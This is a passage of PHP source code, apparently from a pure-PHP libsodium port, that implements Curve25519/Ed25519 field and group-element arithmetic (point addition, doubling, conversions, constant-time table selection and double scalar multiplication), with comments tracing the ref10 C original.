     * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     *
     * Postconditions:
     * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedTypeCoercion
     */
    public static function fe_sub(ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g)
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $f[0]->subInt32($g[0]),
                $f[1]->subInt32($g[1]),
                $f[2]->subInt32($g[2]),
                $f[3]->subInt32($g[3]),
                $f[4]->subInt32($g[4]),
                $f[5]->subInt32($g[5]),
                $f[6]->subInt32($g[6]),
                $f[7]->subInt32($g[7]),
                $f[8]->subInt32($g[8]),
                $f[9]->subInt32($g[9])
            )
        );
    }

    /**
     * Add two group elements.
     *
     * r = p + q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_add(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YplusX);
        $r->Y = self::fe_mul($r->Y, $q->YminusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0   = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215
     * @param string $a
     * @return array<int, mixed>
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayOffset
     */
    public static function slide($a)
    {
        if (self::strlen($a) < 256) {
            if (self::strlen($a) < 16) {
                $a = str_pad($a, 256, '0', STR_PAD_RIGHT);
            }
        }
        /** @var array<int, int> $r */
        $r = array();
        for ($i = 0; $i < 256; ++$i) {
            $r[$i] = (int) (1 &
                (
                    self::chrToInt($a[$i >> 3])
                        >>
                    ($i & 7)
                )
            );
        }

        for ($i = 0;$i < 256;++$i) {
            if ($r[$i]) {
                for ($b = 1;$b <= 6 && $i + $b < 256;++$b) {
                    if ($r[$i + $b]) {
                        if ($r[$i] + ($r[$i + $b] << $b) <= 15) {
                            $r[$i] += $r[$i + $b] << $b;
                            $r[$i + $b] = 0;
                        } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) {
                            $r[$i] -= $r[$i + $b] << $b;
                            for ($k = $i + $b; $k < 256; ++$k) {
                                if (!$r[$k]) {
                                    $r[$k] = 1;
                                    break;
                                }
                                $r[$k] = 0;
                            }
                        } else {
                            break;
                        }
                    }
                }
            }
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_frombytes_negate_vartime($s)
    {
        static $d = null;
        if (!$d) {
            $d = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                array(
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[0]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[1]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[2]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[3]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[4]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[5]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[6]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[7]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[8]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[9])
                )
            );
        }
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */

        # fe_frombytes(h->Y,s);
        # fe_1(h->Z);
        $h = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_frombytes($s),
            self::fe_1()
        );

        # fe_sq(u,h->Y);
        # fe_mul(v,u,d);
        # fe_sub(u,u,h->Z);       /* u = y^2-1 */
        # fe_add(v,v,h->Z);       /* v = dy^2+1 */
        $u = self::fe_sq($h->Y);
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */
        $v = self::fe_mul($u, $d);
        $u = self::fe_sub($u, $h->Z); /* u =  y^2 - 1 */
        $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */

        # fe_sq(v3,v);
        # fe_mul(v3,v3,v);        /* v3 = v^3 */
        # fe_sq(h->X,v3);
        # fe_mul(h->X,h->X,v);
        # fe_mul(h->X,h->X,u);    /* x = uv^7 */
        $v3 = self::fe_sq($v);
        $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */
        $h->X = self::fe_sq($v3);
        $h->X = self::fe_mul($h->X, $v);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */

        # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */
        # fe_mul(h->X,h->X,v3);
        # fe_mul(h->X,h->X,u);    /* x = uv^3(uv^7)^((q-5)/8) */
        $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */
        $h->X = self::fe_mul($h->X, $v3);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */

        # fe_sq(vxx,h->X);
        # fe_mul(vxx,vxx,v);
        # fe_sub(check,vxx,u);    /* vx^2-u */
        $vxx = self::fe_sq($h->X);
        $vxx = self::fe_mul($vxx, $v);
        $check = self::fe_sub($vxx, $u); /* vx^2 - u */

        # if (fe_isnonzero(check)) {
        #     fe_add(check,vxx,u);  /* vx^2+u */
        #     if (fe_isnonzero(check)) {
        #         return -1;
        #     }
        #     fe_mul(h->X,h->X,sqrtm1);
        # }
        if (self::fe_isnonzero($check)) {
            $check = self::fe_add($vxx, $u); /* vx^2 + u */
            if (self::fe_isnonzero($check)) {
                throw new RangeException('Internal check failed.');
            }
            $h->X = self::fe_mul(
                $h->X,
                ParagonIE_Sodium_Core32_Curve25519_Fe::fromIntArray(self::$sqrtm1)
            );
        }

        # if (fe_isnegative(h->X) == (s[31] >> 7)) {
        #     fe_neg(h->X,h->X);
        # }
        $i = self::chrToInt($s[31]);
        if (self::fe_isnegative($h->X) === ($i >> 7)) {
            $h->X = self::fe_neg($h->X);
        }

        # fe_mul(h->T,h->X,h->Y);
        $h->T = self::fe_mul($h->X, $h->Y);
        return $h;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_madd(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yplusx);
        $r->Y = self::fe_mul($r->Y, $q->yminusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add(clone $p->Z, clone $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_msub(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yminusx);
        $r->Y = self::fe_mul($r->Y, $q->yplusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add($p->Z, $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P2();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        $r->T = self::fe_mul($p->X, $p->Y);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p2_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(
            self::fe_0(),
            self::fe_1(),
            self::fe_1()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p2_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        $r->X = self::fe_sq($p->X);
        $r->Z = self::fe_sq($p->Y);
        $r->T = self::fe_sq2($p->Z);
        $r->Y = self::fe_add($p->X, $p->Y);
        $t0   = self::fe_sq($r->Y);
        $r->Y = self::fe_add($r->Z, $r->X);
        $r->Z = self::fe_sub($r->Z, $r->X);
        $r->X = self::fe_sub($t0, $r->Y);
        $r->T = self::fe_sub($r->T, $r->Z);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_to_cached(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        static $d2 = null;
        if ($d2 === null) {
            $d2 = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                array(
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[0]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[1]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[2]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[3]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[4]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[5]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[6]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[7]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[8]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[9])
                )
            );
        }
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d2 */
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached();
        $r->YplusX = self::fe_add($p->Y, $p->X);
        $r->YminusX = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_copy($p->Z);
        $r->T2d = self::fe_mul($p->T, $d2);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     */
    public static function ge_p3_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(
            $p->X,
            $p->Y,
            $p->Z
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        $q = self::ge_p3_to_p2($p);
        return self::ge_p2_dbl($q);
    }

    /**
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_precomp_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $b
     * @param int $c
     * @return int
     * @psalm-suppress MixedReturnStatement
     */
    public static function equal($b, $c)
    {
        $b0 = $b & 0xffff;
        $b1 = ($b >> 16) & 0xffff;
        $c0 = $c & 0xffff;
        $c1 = ($c >> 16) & 0xffff;

        $d0 = (($b0 ^ $c0) - 1) >> 31;
        $d1 = (($b1 ^ $c1) - 1) >> 31;
        return ($d0 & $d1) & 1;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string|int $char
     * @return int (1 = yes, 0 = no)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function negative($char)
    {
        if (is_int($char)) {
            return $char < 0 ? 1 : 0;
        }
        /** @var string $char */
        $x = self::chrToInt(self::substr($char, 0, 1));
        return (int) ($x >> 31);
    }

    /**
     * Conditional move
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     */
    public static function cmov(
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u,
        $b
    ) {
        if (!is_int($b)) {
            throw new InvalidArgumentException('Expected an integer.');
        }
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_cmov($t->yplusx, $u->yplusx, $b),
            self::fe_cmov($t->yminusx, $u->yminusx, $b),
            self::fe_cmov($t->xy2d, $u->xy2d, $b)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $pos
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedArgument
     */
    public static function ge_select($pos = 0, $b = 0)
    {
        static $base = null;
        if ($base === null) {
            $base = array();
            foreach (self::$base as $i => $bas) {
                for ($j = 0; $j < 8; ++$j) {
                    $base[$i][$j] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][0]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][1]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][2]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][3]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][4]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][5]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][6]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][7]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][8]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][9])
                            )
                        ),
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][0]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][1]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][2]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][3]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][4]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][5]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][6]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][7]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][8]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][9])
                            )
                        ),
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][0]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][1]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][2]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][3]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][4]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][5]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][6]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][7]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][8]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][9])
                            )
                        )
                    );
                }
            }
        }
        if (!is_int($pos)) {
            throw new InvalidArgumentException('Position must be an integer');
        }
        if ($pos < 0 || $pos > 31) {
            throw new RangeException('Position is out of range [0, 31]');
        }

        $bnegative = self::negative($b);
        $babs = $b - (((-$bnegative) & $b) << 1);

        $t = self::ge_precomp_0();
        for ($i = 0; $i < 8; ++$i) {
            $t = self::cmov(
                $t,
                $base[$pos][$i],
                -self::equal($babs, $i + 1)
            );
        }
        $minusT = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_copy($t->yminusx),
            self::fe_copy($t->yplusx),
            self::fe_neg($t->xy2d)
        );
        return self::cmov($t, $minusT, -$bnegative);
    }

    /**
     * Subtract two group elements.
     *
     * r = p - q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_sub(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YminusX);
        $r->Y = self::fe_mul($r->Y, $q->YplusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0 = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * Convert a group element to a byte string.
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A
     * @param string $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public static function ge_double_scalarmult_vartime(
        $a,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A,
        $b
    ) {
        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai */
        $Ai = array();

        static $Bi = array();
        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp> $Bi */
        if (!$Bi) {
            for ($i = 0; $i < 8; ++$i) {
                $Bi[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][0]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][1]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][2]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][3]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][4]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][5]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][6]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][7]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][8]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][9])
                        )
                    ),
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][0]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][1]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][2]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][3]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][4]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][5]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][6]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][7]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][8]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][9])
                        )
                    ),
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][0]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][1]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][2]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][3]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][4]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][5]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][6]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][7]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][8]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][9])
                        )
                    )
                );
            }
        }

        for ($i = 0; $i < 8; ++$i) {
            $Ai[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached(
                self::fe_0(),
                self::fe_0(),
                self::fe_0(),
                self::fe_0()
            );
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai */

        # slide(aslide,a);
        # slide(bslide,b);
        /** @var array<int, int> $aslide */
        $aslide = self::slide($a);
        /** @var array<int, int> $bslide */
        $bslide = self::slide($b);

        # ge_p3_to_cached(&Ai[0],A);
        # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t);
        $Ai[0] = self::ge_p3_to_cached($A);
        $t = self::ge_p3_dbl($A);
        $A2 = self::ge_p1p1_to_p3($t);

        # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u);
        # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u);
        # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u);
        # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u);
        # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u);
        # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u);
        # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u);
        for ($i = 0; $i < 7; ++$i) {
            $t = self::ge_add($A2, $Ai[$i]);
            $u = self::ge_p1p1_to_p3($t);
            $Ai[$i + 1] = self::ge_p3_to_cached($u);
        }

        # ge_p2_0(r);
        $r = self::ge_p2_0();

        # for (i = 255;i >= 0;--i) {
        #     if (aslide[i] || bslide[i]) break;
        # }
        $i = 255;
        for (; $i >= 0; --$i) {
            if ($aslide[$i] || $bslide[$i]) {
                break;
            }
        }

        # for (;i >= 0;--i) {
        for (; $i >= 0; --$i) {
            # ge_p2_dbl(&t,r);
            $t = self::ge_p2_dbl($r);

            # if (aslide[i] > 0) {
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_add(&t,&u,&Ai[aslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_add(
                    $u,
                    $Ai[(int) floor($aslide[$i] / 2)]
                );
                # } else if (aslide[i] < 0) {
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_sub(&t,&u,&Ai[(-aslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_sub(
                    $u,
                    $Ai[(int) floor(-$aslide[$i] / 2)]
                );
            }
            /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp> $Bi */

            # if (bslide[i] > 0) {
